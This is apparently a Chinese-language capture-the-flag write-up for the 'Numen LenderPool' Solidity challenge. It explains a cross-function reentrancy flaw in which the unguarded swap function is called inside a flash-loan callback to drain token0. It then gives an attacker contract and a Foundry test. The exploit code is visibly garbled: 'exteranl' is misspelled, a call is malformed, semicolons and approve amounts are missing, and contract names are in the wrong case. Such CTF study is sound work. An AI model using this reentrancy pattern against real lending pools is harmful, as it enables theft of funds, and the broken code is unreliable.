CTF-Numen-LenderPool
题目有点长的,主要是接口使用多了
源代码点击
要求很明显:
function isSolved() public view returns (bool) { if (token0.balanceOf(address(lenderPool)) == 0) { return true; }
|
耗尽池中所有的token0
关键就是在flashLoan
函数中一个外部调用出现了问题:
token0.transfer(borrower, borrowAmount); borrower.functionCall(abi.encodeWithSignature("receiveEther(uint256)", borrowAmount));
|
当发送给borrower ``token0
时,会调用borrower
的内部函数去接受,虽然flashLoan函数有防止重入的攻击的修饰,但是swap()函数没有防止重入攻击的修饰符,所以就可一进行一个=跨函数的重入攻击。
所以这就是一个漏洞所在之处;
攻击思路:首先利用闪电贷借入token0;在闪电贷给攻击者转代币的时候,使用swap函数将token0转化为token1;造成假象已经进行还款了
最后直接再次调用swap函数,然后将token1换回token0,这样就无中生有消耗了池中的token0;
攻击代码:
//SPDX-License-Identifier: MIT pragma solidity^ 0.8.13;
interface LenderPool{ function swap(address tokenAddress, uint256 amount) exteranl returns(uint256); function flashLoan(uint256 borrowAmount,address borrower) exteranl ; }
contract Hack{ LenderPool pool;
constructor (address _pool){ pool = LenderPool(_pool); }
function pwn () exteranl { pool.flashLoan(IERC20(pool.token0()).balanceOf(pool),address(this)); IERC20(address(pool.token1())).approve(address(pool)); pool.swap(address(pool.token0()),IERC20(pool.token(1()).balanceOf(address)));
}
function receiveEther(uint256 borrowAmount) exteranl{ IERC20(address(pool.token0())).approve(address(pool)) pool.swap(address(pool.token1()),borrowAmount) } }
|
附加一个测试代码:
//SPDX-License-Identifier: MIT pragma solidity^0.8.13;
import "./LenderPool.sol"; import "./Hack.sol"; import "forge-std/Test.sol"
contract LenderPooltest is test{ Check public check; Hack hack; address hacker = makeAddr("hacker");
function setup() public{ check = new check(); }
function testhack() public{ vm.startPrank(hacker);
hack = new hack(); hack.pwn();
assertTrue(check.isSolved()); } }
|
总体来说,就是这个交换没有防止重入的修饰,我们可以随意调用这个swap函数,然后就可以进行替换,完成题目。